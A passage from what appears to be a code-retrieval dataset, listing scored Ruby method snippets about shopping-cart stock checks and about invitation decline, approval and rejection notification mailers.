(count_drugs > 0)\r\n j1 = options[:drugs] == count_drugs\r\n end\r\n if options[:supplies] && (count_supplies > 0)\r\n j2 = options[:supplies] == count_supplies\r\n end\r\n if options[:ancillary] && (count_ancillary > 0)\r\n j3 = options[:ancillary] == count_ancillary\r\n end\r\n if options[:others] && (count_others > 0)\r\n j4 = options[:others] == count_others\r\n end\r\n if options[:oxygen] && (count_oxygen > 0)\r\n j5 = options[:oxygen] == count_oxygen\r\n end\r\n if options[:special] && (count_special > 0)\r\n j6 = options[:special] == count_special\r\n end\r\n\r\n return j1 if options[:drugs]\r\n return j2 if options[:supplies]\r\n return j3 if options[:ancillary]\r\n return j4 if options[:others]\r\n return j5 if options[:oxygen]\r\n return j6 if options[:special]\r\n end", "title": "" }, { "docid": "6008733f6848466f0124ad17f715cf9d", "score": "0.65193063", "text": "def eligible!(item_count)\n return not_eligible! if item_count.zero? || item_count < buy_qty\n\n self.max_number_of_discounted_items = if limit\n (limit * discount_qty)\n elsif on_all\n UNLIMITED\n else\n item_count / number_of_items_per_discount * discount_qty\n end\n\n true\n end", "title": "" }, { "docid": "11c80df172d5677288511e2b8521f32b", "score": "0.65052503", "text": "def insufficient_stock?(n)\n !sufficient_stock?(n)\n end", "title": "" }, { "docid": "3250f4c5d65f7cd0a982d0a0639d31aa", "score": "0.6499587", "text": "def on_sale?(user_group = nil, store = nil, quantity = 1.0)\n return self.attribute_value('price', store).to_f != self.price(user_group, store, quantity)\n end", "title": "" }, { "docid": "bf779dd438277c4286925ba32db13b0b", "score": "0.64854336", "text": "def items_in_stock\n cart_items.none? { |item| item.item_quantity > item.product.inventory_count }\n end", "title": "" }, { "docid": "3a4913492d7a7895fe1ac7c9ceed4a2b", "score": "0.648451", "text": "def quantity_maximun_allow\n\t\treturn true if !order.product_by_budget\n\t\tif order.product_by_budget.quantity < quantity.to_i\n\t\t\terrors.add(:quantity, \"no puede ser mayor a la cantidad presupuestada (#{order.product_by_budget.quantity} items)\")\n\t\t\tfalse\n\t\tend\n\t\ttrue\n\tend", "title": "" }, { "docid": "cb05575ff586bfd9a5b5855ee607ea97", "score": "0.6482462", "text": "def in_stock?(required=nil)\n required ? quantity >= required : quantity > 0\n end", "title": "" }, { "docid": "512ca8ac40b0840429e5edf387028d2e", "score": "0.647482", "text": "def check_for_eligible_of_free_shipping(order)\n order.values.reduce(:+) > 100 ? true : false\nend", "title": "" }, { "docid": "12e72cac1b88cda08e3270c06f458aab", "score": "0.64742917", "text": "def scsb_supervised_items?(holding)\n if holding.key? 'items'\n restricted_items = holding['items'].select { |item| item['use_statement'] == 'Supervised Use' }\n restricted_items.count == holding['items'].count\n else\n false\n end\n end", "title": "" }, { "docid": "12e72cac1b88cda08e3270c06f458aab", "score": "0.6473593", "text": "def scsb_supervised_items?(holding)\n if holding.key? 'items'\n restricted_items = holding['items'].select { |item| item['use_statement'] == 'Supervised Use' }\n restricted_items.count == holding['items'].count\n else\n false\n end\n end", "title": "" }, { "docid": "c2db88e9fb49ec2886d114f6b8864ed1", "score": "0.64720696", "text": "def available()\n details = get_food_details()\n available_quantity = details[0]\n @cost_per_item = details[1]\n if @requested_quantity <= available_quantity\n return true\n else \n return false\n end\n end", "title": "" }, { "docid": "f45f769fe7dffb746fa7cff242a6f698", "score": "0.6465047", "text": "def sold_out?\n (quantity_available) <= Variant::OUT_OF_STOCK_QTY\n end", "title": "" }, { "docid": "e4674aadd5309fec5fe03dd5b97953da", "score": "0.6462607", "text": "def items_in_stock\n cart_items.none? { |item| item.item_quantity > item.product.quantity }\n end", "title": "" }, { "docid": "c4ac9496b6246a87619f16b078aae95e", "score": "0.64595926", "text": "def free?\n self.price == 0 && self.price_per_user == 0 && self.setup_price == 0\n end", "title": "" }, { "docid": "18ea43ae20bb86d8826096675f099fbc", "score": "0.6459056", "text": "def item_available?(item)\n quantifier = Spree::Stock::Quantifier.new(item.variant)\n quantifier.can_supply? item.quantity\n end", "title": "" }, { "docid": "a9c83ac40eebfbfcb267501aa067c2c7", "score": "0.64567447", "text": "def can_buy?\n true\n end", "title": "" }, { "docid": "10331283392776b67a8870d269d62fd5", "score": "0.64500016", "text": "def out_of_stocks?\n line_items.any?(&:sufficient_stock?) == false\n end", "title": "" }, { "docid": "3a3f68be14eb5b0f37a3adafed1206a3", "score": "0.64453995", "text": "def bundle_discount?\n return false if @items.size == 1\n group_products = @items.collect(&:product)\n @items.first.product.product_bundles.each do |bundle|\n return true if group_products.size == bundle.products.size && group_products.sort == bundle.products.sort\n end\n return false\n end", "title": "" }, { "docid": "b39a26fe12d50d026c7422f50cd0820f", "score": "0.6420383", "text": "def cart_has_items\n return @cart.line_items.count >= 0\n end", "title": "" }, { "docid": "45f9f045ff1f538517391974552cc169", "score": "0.64177656", "text": "def qualified?(item_prices, order, at = nil)\n at ||= order.completed_at || Time.zone.now\n item_prices.sum > minimum_value && eligible?(order, at)\n end", "title": "" }, { "docid": "4caa9a9d85879a51bc90c542ae329af9", "score": "0.6410832", "text": "def qualified?(item_prices, order, at = nil)\n at ||= order.completed_at || Time.zone.now\n item_prices.sum > minimum_value && eligible?(at)\n end", "title": "" }, { "docid": "9f2993796f8b694334173a2d8b095f2c", "score": "0.64091796", "text": "def can_renew?\n !self.period_products.exists?(['accumulated < amount'])\n end", "title": "" }, { "docid": "8b525d8dd2498ef5fa2af481dadf6ac5", "score": "0.6409116", "text": "def has_sales_return?\n self.delivery_entries.where{ (quantity_returned.not_eq 0 )}.count != 0 \n end", "title": "" }, { "docid": "8b525d8dd2498ef5fa2af481dadf6ac5", "score": "0.6409116", "text": "def has_sales_return?\n self.delivery_entries.where{ (quantity_returned.not_eq 0 )}.count != 0 \n end", "title": "" }, { "docid": "0f7f55b770cdd9847ef980da92f0f419", "score": "0.63997597", "text": "def enable?(item)\n return (item.price > 0)\n end", "title": "" }, { "docid": "cca8c56e8652a563716d7ff656379144", "score": "0.6397952", "text": "def purchase_from_supplier(quantity)\n return true\n end", "title": "" }, { "docid": "0f7f55b770cdd9847ef980da92f0f419", "score": "0.6397327", "text": "def enable?(item)\n return (item.price > 0)\n end", "title": "" }, { "docid": "2329b29dc8959f018dc9aa18e371a0e9", "score": "0.63936514", "text": "def free_cart?\n total_amount <= 0\n end", "title": "" }, { "docid": "1caa7ae86d1c4280185524b5833329d4", "score": "0.63896996", "text": "def make_three_orders?\n user.orders.bought.count >= 3\n end", "title": "" }, { "docid": "4571f1aaa91aca3f340d55316cb78831", "score": "0.63866305", "text": "def sold_separately?\n @product_availability.human != \"NotSoldSeparately\"\n end", "title": "" }, { "docid": "e4f8d26a806227614a859894b1e8278d", "score": "0.6376214", "text": "def validate_items\n # must have one or more items\n return false if @items.empty?\n @items.each do |i|\n # each item must have produto, valor and quantidade > 0\n return false unless i.produto && i.valor && i.quantidade && i.quantidade > 0\n end\n return true\n end", "title": "" }, { "docid": "e221d5a54ddd4f32fec2ac92c4e39333", "score": "0.63760084", "text": "def for_sale?\n self.UnitInSales != 1\n end", "title": "" }, { "docid": "2a6a00311f539d4fcc1752a36721fdbf", "score": "0.6373476", "text": "def sold_out?\n num_tickets_sold >= max_num_seats\n end", "title": "" }, { "docid": "5e75c1d186c811b6a47d85564a6d8e48", "score": "0.6372192", "text": "def has_items?\n if (self.drink.blank? && self.first_course_dish.blank? && self.second_course_dish.blank?)\n errors.add(:base, \"You need at least one item in order!\") \n else\n true\n end\n end", "title": "" }, { "docid": "e1cab4cff65d5fe13a6f7393735edb5b", "score": "0.63605016", "text": "def products_sold(items)\n\t$total_purchased = items[\"purchases\"].length\n\tprint_report \"Total Purchases: #{$total_purchased}\"\nend", "title": "" }, { "docid": "3382cdac01e8696b12eeb739ed3d41e9", "score": "0.6359461", "text": "def cart_has_items\n return @cart.line_items.count > 0\n end", "title": "" }, { "docid": "840e5fa8550f1f68b2fd8c9f98fe6655", "score": "0.6342831", "text": "def enough_coins?\n self.coins >= self.price\n end", "title": "" }, { "docid": "01a8807f5ddfc88a5601a0b62f53ca0f", "score": "0.6342603", "text": "def free?\n if prices.blank?\n !word_document.paid?\n else\n current_price.retail_price == 0 && prices.length == 1\n end\n end", "title": "" }, { "docid": "d1bba44b8a5dedf0d3c8bebabfe87efd", "score": "0.6331438", "text": "def can_buy\n true\n end", "title": "" }, { "docid": "16e75a716ec87814d9d2b93db43d6cd2", "score": "0.63310957", "text": "def validate_cart(cart)\n for product in cart.products.uniq\n items = LineItem.where(\"cart_id=? AND product_id=?\", cart.id, product.id)\n itemQuantity = 0\n \n for item in items\n itemQuantity = itemQuantity + item.quantity\n end\n puts itemQuantity\n if itemQuantity > product.inventory_count\n return false\n end \n end\n \n return true\n end", "title": "" }, { "docid": "bc2a9d61288f1f7ed73c7c876c38152b", "score": "0.63310075", "text": "def may_purchase?(_company)\n false\n end", "title": "" }, { "docid": "d0de7accd7148070ff07574a891d617b", "score": "0.63237107", "text": "def enable?(item)\r\n item && item.price > 0\r\n end", "title": "" }, { "docid": "d6531b135f0069f35b626ba4925fcf06", "score": "0.63175493", "text": "def possible_to_derive?\n ( sub_frequency && sub_frequency > 1 )and \n dsr_doc_group_id and # not dsr_doc_group_id.nil?\n ( quantity && quantity > 0 )and\n ( weight && weight > 0 )\n end", "title": "" }, { "docid": "62ab1f1933aaa477269634c6d4660d87", "score": "0.6310987", "text": "def check_for_eligible_of_free_shipping(order)\n order.any? { |item| item >= 100 }\nend", "title": "" }, { "docid": "9abaf4a4ba5989ee473e63a5ee22d234", "score": "0.6306349", "text": "def has_item?(count)\n count > 0\n end", "title": "" }, { "docid": "c506b7aa2b74c9f1112e1ba6009b56fa", "score": "0.63030463", "text": "def is_discounted?\n price <= 10\n end", "title": "" }, { "docid": "c506b7aa2b74c9f1112e1ba6009b56fa", "score": "0.63030463", "text": "def is_discounted?\n price <= 10\n end", "title": "" }, { "docid": "53dcb101673c0272fd37844e522b1a06", "score": "0.63023674", "text": "def paid_enough?\n errors.add(:paid,'You don\\'t paid enough') unless self.product.value <= self.total_paid\n end", "title": "" }, { "docid": "88b95bafc4add05cba387000b3096741", "score": "0.630232", "text": "def checkoutable?\n order_items.real.each do |item|\n return false unless item.satisfied?\n end\n true\n end", "title": "" }, { "docid": "739eb04a82f5c445c00bc9b3d6259433", "score": "0.62987185", "text": "def is_discounted?\n if price < 10\n true\n else\n false\n end\n end", "title": "" }, { "docid": "b157f48e2e8ab4c8c853d5cb74435403", "score": "0.62984204", "text": "def has_items?\n order_items.size > 0\n end", "title": "" }, { "docid": "2894be2ec60e84491c2f17b8444b1430", "score": "0.62970847", "text": "def special?\n @item_id == K_SUM\n end", "title": "" }, { "docid": "395f03f2994a88319a3087b6a6ac7f97", "score": "0.62924194", "text": "def items?\n shopping_cart_items.any?\n end", "title": "" }, { "docid": "eed8456d24ba070ef841082d22783345", "score": "0.6280609", "text": "def buyable?\n if @item[:item][\"saleInfo\"][\"isEbook\"] != true || @item[:item][\"saleInfo\"][\"buyLink\"].nil?\n false\n else\n true\n end\n end", "title": "" }, { "docid": "0b61c053184b989189be2c40a39f052a", "score": "0.6278897", "text": "def buyable?(user)\n if user.cart\n orders = user.cart.orders.where('seller_id = ?', vitrine.id)\n orders.each do |order|\n return false if order.product.id == id && (order.quantity == quantity)\n end\n\n end\n vitrine.owner?(user) == false && quantity > 0\n end", "title": "" } ]
10377f60f748149e77ad54978bd38dc4
Notification to Inviter when their approval is declined by invitee
[ { "docid": "6df75162e0754cc2508ee8a9231821b8", "score": "0.77044564", "text": "def approval_declined(confirmation, message, url)\n setup_email( get_emails(confirmation.invitation.inviter) ) \n setup_inviter_invitee(confirmation) \n\t url = clean_url(url)\n\n\n # Email header info\n @subject = \"#{@invitee_name} has declined your invitation to: #{confirmation.invitation.name}#{occurrence_date(confirmation,'-')}\"\n # Email body substitutions\n @body['message'] = message.body rescue nil\n @body['confirmation'] = confirmation\n @body[\"inviter_name\"] = \"#{confirmation.invitation.inviter.user_name}\"\n @body[\"invitee_name\"] = \"#{confirmation.member.user_name}\"\n @body[\"invitation\"] = confirmation.invitation\n @body[\"url\"] = url\n @body['occurrence'] = occurrence_date(confirmation,'for')\n end", "title": "" } ]
[ { "docid": "90d89f97955c64019fb3cc70e2239003", "score": "0.73993784", "text": "def decline\n\t\tmp = MeetingParticipation.find_by(meeting_id: params[:meeting_id], user_id: params[:user_id])\n\t\tmp.response_status = 2\n\t\tmp.save\n\n\t\tDeclineInvitationJob.perform_later mp, mp.user\n\n\t\tredirect_to notification_index_path\n\tend", "title": "" }, { "docid": "3148e67648c5e1db1906c81b32014f49", "score": "0.72790813", "text": "def decline\n destroy = @invitation.decline!\n @errors << 'Decline Invitation Error: destroying invitation.' unless destroy\n respond_to do |format|\n format.html {redirect_to root_path, notice: 'You have declined the project invitation.'}\n end\n end", "title": "" }, { "docid": "6015104afd3a293665ff464d49dad124", "score": "0.7218681", "text": "def after_reject(approval); end", "title": "" }, { "docid": "21da8fb2149863acf0ea8911d0c1f71b", "score": "0.7209073", "text": "def before_reject(approval); end", "title": "" }, { "docid": "e79b6c45900a7ee234383be79ad43f6e", "score": "0.71652377", "text": "def change_declined(confirmation, url)\n setup_email( get_emails(confirmation.invitation.inviter) ) \n setup_inviter_invitee(confirmation) \n\t url = clean_url(url)\n\n\n # Email header info\n @subject = \"#{@invitee_name} has declined your changes to: #{confirmation.invitation.name}#{occurrence_date(confirmation,'-')}\"\n # Email body substitutions\n @body[\"inviter_name\"] = \"#{confirmation.invitation.inviter.user_name}\"\n @body[\"invitee_name\"] = \"#{confirmation.member.user_name}\"\n @body[\"invitation\"] = confirmation.invitation\n @body[\"url\"] = url\n @body['occurrence'] = occurrence_date(confirmation,'for') \n end", "title": "" }, { "docid": "5af9e97cc1cff9481228e6e44ab17da9", "score": "0.7163452", "text": "def declined(*args)\n @user, @company, @reason = args\n mail to: @user.email, subject: \"Marketplace Notification\"\n end", "title": "" }, { "docid": "0aa4195ac786133fd34d9c567956469a", "score": "0.70286834", "text": "def acceptance_declined(confirmation, message, url)\n setup_email( get_emails(confirmation.member) ) \n setup_inviter_invitee(confirmation) \n url = clean_url(url)\n\n\n # Email header info\n @subject = \"Re: #{confirmation.invitation.name}#{occurrence_date(confirmation,'-')}, #{@inviter_name} has declined your attendance.\"\n # Email body substitutions\n @body['message'] = message.body rescue nil\n @body[\"inviter_name\"] = \"#{confirmation.invitation.inviter.user_name}\"\n @body[\"invitee_name\"] = \"#{confirmation.member.user_name}\"\n @body[\"invitation\"] = confirmation.invitation\n @body[\"url\"] = url\n @body['occurrence'] = occurrence_date(confirmation,'for') \n end", "title": "" }, { "docid": "ff1109774e8c4bdaa5540c99ca80c050", "score": "0.69846404", "text": "def deny_invite\n invitation = Invitation.find(params[:id])\n begin\n invitation.transaction do \n invitation.update_attributes!(:accepted => false)\n invitation.notification.update_attributes!(:seen => true)\n end\n\n # Using the flash warning here to let them know its bad to deny people's invitations\n flash[:warning] = \"Invitation declined.\"\n redirect_to user_profile_path(params[:user_id])\n\n rescue ActiveRecord::RecordInvalid\n flash[:error] = \"Deny failed\"\n redirect_to user_profile_path(params[:user_id])\n end\n end", "title": "" }, { "docid": "5d6bd6cc6f9902aa5c55d471d6fb23cc", "score": "0.69720113", "text": "def send_decline_email\n UserMailer.decline_invitation(self.group_buy_in.user, self).deliver\n end", "title": "" }, { "docid": "ee090890c595ca114d401dc1b315ca49", "score": "0.6894275", "text": "def decline\n @membership = MbandMembership.find(:first, :conditions => [\"membership_token = ?\", params[:token]])\n if @membership.accepted_at.nil?\n @membership.destroy\n flash[:notice] = \"Invitation has been declined\"\n redirect_to user_url(current_user)\n else\n flash[:notice] = \"You cannot decline this invitation anymore\" \n redirect_to mband_url(@membership.mband)\n end\n \n end", "title": "" }, { "docid": "0f72cd2eb33962650609c949fd255955", "score": "0.68838584", "text": "def reject(invitee_id)\n @group = self.group\n #check validity of this request\n if self.user_id == invitee_id.to_i && self.expired.nil? && self.accept.nil?\n self.accept = false\n self.expired = true\n self.save\n @group.send_admin_message(@user,\"User #{self.user.name} has rejected your invitation to join the group\", \"Invitation rejected\")\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "ea0244810393506000061cfd05310318", "score": "0.6862869", "text": "def send_request_for_confirming_reject\n self.status = MARK_REJECTED\n self.save!\n \n reject_requesting_user = User.find_by_id(self.locked_with)\n self.deliver_notifications(:confirm_reject, [reject_requesting_user])\n end", "title": "" }, { "docid": "ea0244810393506000061cfd05310318", "score": "0.6862869", "text": "def send_request_for_confirming_reject\n self.status = MARK_REJECTED\n self.save!\n \n reject_requesting_user = User.find_by_id(self.locked_with)\n self.deliver_notifications(:confirm_reject, [reject_requesting_user])\n end", "title": "" }, { "docid": "e71cbdbfd718de209cb27a5f7bcb9329", "score": "0.6861254", "text": "def account_denied(invitee)\n @invitee = invitee\n @institution = @invitee.institution\n mail(to: @invitee.email,\n subject: \"Your #{@institution.service_name} account request\")\n end", "title": "" }, { "docid": "de6be2b9543f057d7d730e4b6535ab90", "score": "0.6822061", "text": "def confirm_decline_of_invitation\n\n \n @client_invitation = ClientInvitation.where(uuid: params[:contact_invitation_id]).first\n @client_invitation.status = 'Declined'\n @client_invitation.save\n \n end", "title": "" }, { "docid": "3b1e4a08a8caac9be518ec059a7e545f", "score": "0.67892206", "text": "def reject(id)\n invitation = Invitation.find(id)\n if (invitation.status.to_sym == :SENT)\n rejected_invitation = update_invitation(id, status: :REJECTED)\n InvitationEvent.create(description: 'Invitation rejected', status: rejected_invitation.status,\n invitation: rejected_invitation)\n rejected_invitation\n else\n raise TDJobs::InvalidStatus,\n \"Can't reject Invitation. Invitation is: \" + invitation.status\n end\n end", "title": "" }, { "docid": "55d47aa07afc28f67a228074ab19fa28", "score": "0.678905", "text": "def reject_invites\n\n kinds = [GlobalConstant::ManagerValidationHash.manager_invite_kind,\n GlobalConstant::ManagerValidationHash.double_optin_kind,\n GlobalConstant::ManagerValidationHash.reset_password_kind]\n\n # Mark any other active invite token (s) for this manager as inactive\n ManagerValidationHash.where(\n manager_id: @manager_to_be_deleted_obj.id,\n kind: kinds,\n status: GlobalConstant::ManagerValidationHash.active_status\n ).update_all(\n status: GlobalConstant::ManagerValidationHash.inactive_status\n )\n\n success\n end", "title": "" }, { "docid": "80e159a19cf74797b2953f3bfe776f47", "score": "0.66960734", "text": "def reject\n \t@notification = Notification.find(params[:id])\n \tnotificable = @notification.notificable\n \tmember = Member.where(:invitable_id => @notification.notificable_id , :user_id => current_user.id )\n \t@notification.update_attributes(accept:true)\n \tmember.destroy_all if member.present?\n end", "title": "" }, { "docid": "d4c526c5ab9814ca77771469054ef44e", "score": "0.6646785", "text": "def decline_invitation\n\n if @client_invitation = ClientInvitation.where(uuid: params[:contact_invitation_id]).first\n\n @message = validate_invitation( @client_invitation ) \n else\n @message = 'Error: Invitation do not exists?'\n end\n end", "title": "" }, { "docid": "df81349ee51c3c07a5c796f767375901", "score": "0.6645777", "text": "def invite\n associate_or_create_identity\n self.update!(approval_state: ApprovalState::APPROVED)\n send_invited_email\n end", "title": "" }, { "docid": "c0f87f87f700036c693083fd0b2d429c", "score": "0.6644272", "text": "def decline_interview\n # ACTION: Declined\n interview = Interview.find(params[:interview_id])\n interview.status = \"DECLINED\"\n interview.save!\n\n # Sending mail\n send_email_for_declining(interview)\n\n render :nothing => true\n end", "title": "" }, { "docid": "a96c7e25ed5dcf1f42cb8849cd39c0fa", "score": "0.6636927", "text": "def reject!\n self.status = 'Rejected'\n self.save\n GameInviteResponseEvent.new(self).enqueue\n end", "title": "" }, { "docid": "d4c49578d6d2a02a9c0202254da708af", "score": "0.6626201", "text": "def send_rejected_to_approvers(timesheet)\n setup_email\n subject \"Timesheet for #{timesheet.contract.contractor_user.full_name} has been rejected\"\n\n approvers = []\n for approver in timesheet.contract.approver_users\n approvers << approver.email\n end\n\n recipients approvers\n\n body[:url] = \"#{SITE}\"\n body[:timesheet] = timesheet\n end", "title": "" }, { "docid": "d5566abf163d252357fbb6f754c6bb93", "score": "0.66196805", "text": "def reject\n @request = BookingRequest.find(params[:id])\n @request.update(rejected: true)\n @request.crew.update(requested: false)\n recipients = @request.crew.users\n BookingMailer.booking_rejected_email(recipients, @request).deliver_now\n flash[:success] = \"Rejected\"\n redirect_to bookingrequests_path\n end", "title": "" }, { "docid": "fb6dcd01d02d85d02a8bb25964e86189", "score": "0.6554473", "text": "def decline\n ChangeRequestMailer.decline(ChangeRequest.first, User.first, \"http://localhost:3000\")\n end", "title": "" }, { "docid": "9326c3924337fa0d379633518b06b734", "score": "0.65279007", "text": "def project_invitation_rejected\n project = @notification_object.collaboration_level\n @data[:project_title] = project.try(:title)\n @data[:project_owner] = project.created_by.try(:full_name)\n @data[:invitee_name] = @notification_object.collaborator.try(:full_name)\n @data[:project_link] = \"#{ENV['DOMAIN']}/#/app/projects/#{project.id}/collaborators\"\n @template_name = APOSTLE_MAIL_TEMPLATE_SLUG[:project_invitation_rejected]\n @receivers << project.created_by\n trigger_user_specific_emails\n end", "title": "" }, { "docid": "fed08f7f23fe97aff546416e17653b0e", "score": "0.6522676", "text": "def decline\n\t\tinvitation = Invitation.find(params[:id])\n\t\tauthorize! :decline, invitation\n\n\t\tinvitation.destroy\n\t\tredirect_to user_path(invitation.user), notice: t('invitation.declined', club_name: invitation.club_name)\n\tend", "title": "" }, { "docid": "738909b875e9211596836d7c32859975", "score": "0.6512794", "text": "def after_approve(approval); end", "title": "" }, { "docid": "0fa59b47f09c0120143d4f78042ebbef", "score": "0.64988637", "text": "def reject_leave(id, mgr)\n @leaveap = Leaveap.find(id)\n @mailto = @leaveap.employee.company_email\n @whoto = @leaveap.employee.full_name\n if mgr == 1\n @whofrom = @leaveap.apv_mgr_1.full_name\n elsif mgr == 2\n @whofrom = @leaveap.apv_mgr_2.full_name\n end\n @title = \"[Magicell] Leave Application rejected by #{@whofrom}.\"\n mail(to: @mailto, :subject => @title)\n end", "title": "" }, { "docid": "6767e037ceab97e793aa5779b2a2d3e6", "score": "0.6494011", "text": "def email_action\n # Do not allow setting status back to pending\n if params[:new_status] != \"pending_response\"\n invite = EventInvite.find(params[:id])\n\n if invite.update(status: params[:new_status])\n flash[:notice] = I18n.t(\"event_invites.success\", status: params[:new_status])\n else\n flash[:alert] = I18n.t(\"event_invites.update_error\")\n end\n else\n flash[:alert] = I18n.t(\"event_invites.pending_error\")\n end\n\n redirect_to home_path\n end", "title": "" }, { "docid": "5a28a95059492368f672038a25e3ab11", "score": "0.6488755", "text": "def disapprove\n self.approved = false\n self.save(:validate => false)\n \n Notifier.disapprove(self).deliver\n end", "title": "" }, { "docid": "b0b5f0b0b5f09e80b11b2269a3930bab", "score": "0.6479099", "text": "def decline_invitation(id)\n put(\"/api/invitations/#{id}/decline\")\n end", "title": "" }, { "docid": "05909d218e3493cbd8cf81a26d666a21", "score": "0.6466137", "text": "def decline\n respond_to do |format|\n if @task.update_attributes(status: 'declined')\n format.html { redirect_to tasks_url, notice: 'User declined the task successfully.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7c1169f8ada073f6859d740099561402", "score": "0.6462582", "text": "def resend_invitation_email\n send_invitation_email\n end", "title": "" }, { "docid": "b24614eed6fbf99b970cc0558d9acdc0", "score": "0.6456371", "text": "def decline\n decline_invite!\n render json: { success: true }\n end", "title": "" }, { "docid": "2c5616d7e6caebb2d4359fec3496e4db", "score": "0.64513206", "text": "def rejected(proposal)\n @proposal = proposal\n\n mail to: proposal.user.email\n end", "title": "" }, { "docid": "f8b5869c8e4d2816ea8391d921bdf25c", "score": "0.64503723", "text": "def reject\n NotificationMailer.reject\n end", "title": "" }, { "docid": "e575742e9c7bf10d31db8dfe73dbfb25", "score": "0.6450024", "text": "def reject_user\n # set the enabled flag to false for the user\n # clear activation code (prevents user from showing up as pending user)\n # send out rejection notification\n end", "title": "" }, { "docid": "e575742e9c7bf10d31db8dfe73dbfb25", "score": "0.6450024", "text": "def reject_user\n # set the enabled flag to false for the user\n # clear activation code (prevents user from showing up as pending user)\n # send out rejection notification\n end", "title": "" }, { "docid": "06df2098e86aabcf321f52be88892105", "score": "0.6447342", "text": "def notify_approval\n MailGeneratorMailer.notify_approval\n end", "title": "" }, { "docid": "604832ca1caaa7cc2daebe9dd767defe", "score": "0.6444762", "text": "def approve\n NotificationMailer.approve\n end", "title": "" }, { "docid": "be5fb1783667978a5b7de77083d93d4b", "score": "0.64447", "text": "def mail_need_approval\n Notifier.influencer_need_approval(self).deliver\n end", "title": "" }, { "docid": "f1df260efbf24d7ae77e6de66884ad9f", "score": "0.64403206", "text": "def new_approval_invite\n UserMailer.new_approval_invite(approval, approver)\n end", "title": "" }, { "docid": "28f7d91d5b119d61c230b5b46b04e94f", "score": "0.6436886", "text": "def rejected_notification\n UserMailer.rejected_notification\n end", "title": "" }, { "docid": "9d319c82725884d8f65a3f6b3d18d3e4", "score": "0.6420214", "text": "def new_approval_invite(approval, approver)\n @approval = approval\n @owner = @approval.user\n @subject = sanitize(\"#{@owner.name} has requested your approval on #{@approval.title}\")\n @approver = approver\n @email = @approver.email\n mail(to: @email, subject: @subject, reply_to: @owner.email)\n end", "title": "" }, { "docid": "f6b1cf0cadb4fd572678f085b88e200e", "score": "0.64142764", "text": "def reject\n FriendsMailer.reject\n end", "title": "" }, { "docid": "1758d9698735f575e9601d5cb7f58968", "score": "0.6404757", "text": "def decline\n if request.xhr?\n if @invitation = Invitation.find(params[:id])\n if @invitation.decline! == true\n render :partial => 'invitations/list_item_declined', :object => @invitation\n else\n flash[:error] = \"Invitation request from #{@invitation.invitor.name} was not ignored.\"\n render :text => form_flash_messages, :status => 444\n end\n end\n end\n end", "title": "" }, { "docid": "0274a881cebea6123368e8d6be767b53", "score": "0.6394588", "text": "def ReservationCanceled\n ReservationMailer.ReservationCanceled\n end", "title": "" }, { "docid": "19b6360d5bf97696030055d53c3a352a", "score": "0.6393248", "text": "def post_rejected_email(request)\n\t\t@request = Request.find(request.id)\n\t\t@admin = Admin.find(@request.admin_id)\n\t\tmail(:from =>\"railschecking@gmail.com\",:to=> @admin.email, subject: \"ProofReading Rejected\")\n\tend", "title": "" }, { "docid": "4b7be5e907f3a4e91c6baafff156b206", "score": "0.6387604", "text": "def new_investor_waiting_for_approval(investor)\n @to = Rails.env == \"development\" ? \"quinn@coincidence.net\" : ADMIN_EMAILS\n @greeting = \"Hi\"\n @investor = investor\n @url = SERVER + '/admin/approve_investors'\n mail(:to => @to, :subject => \"New investor #{investor.email} awaiting approval!\")\n end", "title": "" }, { "docid": "53cfe78807d22d31db055a2608196bec", "score": "0.6386663", "text": "def reject\n InterviewMailer.reject\n end", "title": "" }, { "docid": "a5bca4ea7df8e8d3a613b38d108ca45f", "score": "0.6384301", "text": "def invite_rejected\n invite = Invite.where(event_id: event_id,user_id: user_id).first\n invite.update_attribute(:joined, 2) if invite\n end", "title": "" }, { "docid": "7f888c670b2582cb3dc44f3d915037b2", "score": "0.63793343", "text": "def decline\n ChangeRequestMailer.decline\n end", "title": "" }, { "docid": "db98a03a74b6cb8a0e3009c3e5a1b33c", "score": "0.6358878", "text": "def mail_rejected\n Notifier.influencer_rejected(self).deliver\n end", "title": "" }, { "docid": "8969ba69ff74ebd2b4a1912bf1dbf095", "score": "0.63331664", "text": "def mark_invitation_redeemed\n unless self.invitation_token.blank?\n invitation = Invitation.find_by_token(self.invitation_token)\n if invitation\n self.update_attribute(:invitation_id, invitation.id)\n invitation.mark_as_redeemed(self)\n end\n end\n end", "title": "" }, { "docid": "17864c73627875bb769d6a227f5eb727", "score": "0.632935", "text": "def decrement_invitation_limit!\n end", "title": "" }, { "docid": "419df6cb6ba17bab6a7123ff5e9c7724", "score": "0.6304741", "text": "def reject\n General::ChangeStatusService.new(self, StatusLancer::REJECTED).change\n if self.save\n MemberMailerWorker.perform_async(recruitment_id: self.id.to_s, perform: :send_recruitment_rejection)\n return true\n end\n return false\n end", "title": "" }, { "docid": "338b2b530ce880e7e45f856bc69a9be9", "score": "0.6303309", "text": "def skip_invitation; end", "title": "" }, { "docid": "5cb98284c61537e374d242091aa8f8fb", "score": "0.63019997", "text": "def reject_invite\t\t\t\t\t\t \t\t\t \n\t\t\t membership = Membership.find_by_group_id_and_user_id(params[:group_id], doorkeeper_token.resource_owner_id)\n\t\t\t unless membership.nil?\n\t\t\t membership.destroy\n\t\t\t respond_to do |format|\t\t\t \n\t\t\t format.json { head :no_content }\n\t\t\t end\n\t\t\t else\n\t\t\t respond_to do |format|\t\t\t \n\t\t\t format.json { render json: \"You have not been invited to the group\", status: :forbidden}\n\t\t\t end\n\t\t\t end\t\t\t\t\n\t\t\tend", "title": "" }, { "docid": "ad0b0bf87e101b5f73cdb8757dc220c2", "score": "0.62905866", "text": "def resend_invitation\n update_attribute :invitation_sent_at, Time.now.utc\n send_devise_notification(:invitation_instructions, @raw_invitation_token)\n end", "title": "" }, { "docid": "da7cbf710bc123fb7e5717f8b749dc36", "score": "0.62881917", "text": "def decline_invitation(invitation_id, options = T.unsafe(nil)); end", "title": "" }, { "docid": "5e2ee9ca6f0db7122e8e6be56dea648b", "score": "0.6286334", "text": "def completed_approval(approval)\n @approval = approval\n @owner = @approval.user\n @subject = sanitize(\"#{@approval.title} has been signed off!\")\n mail(to: @owner.email, subject: @subject)\n end", "title": "" }, { "docid": "b4055283681d754b4ce06bb9befd4903", "score": "0.6283759", "text": "def decline_transuction\n\n\t\tif self.request_type == \"send_money\"\n\t\t\ts_account = sender_account\n\t\t\tr_account = receiver_account\n\t\t\tunless s_account.nil?\n\t\t\t\tunlock_funds s_account, self.amount\n\t\t\tend\n\t\t\tsender_msg = \"Your 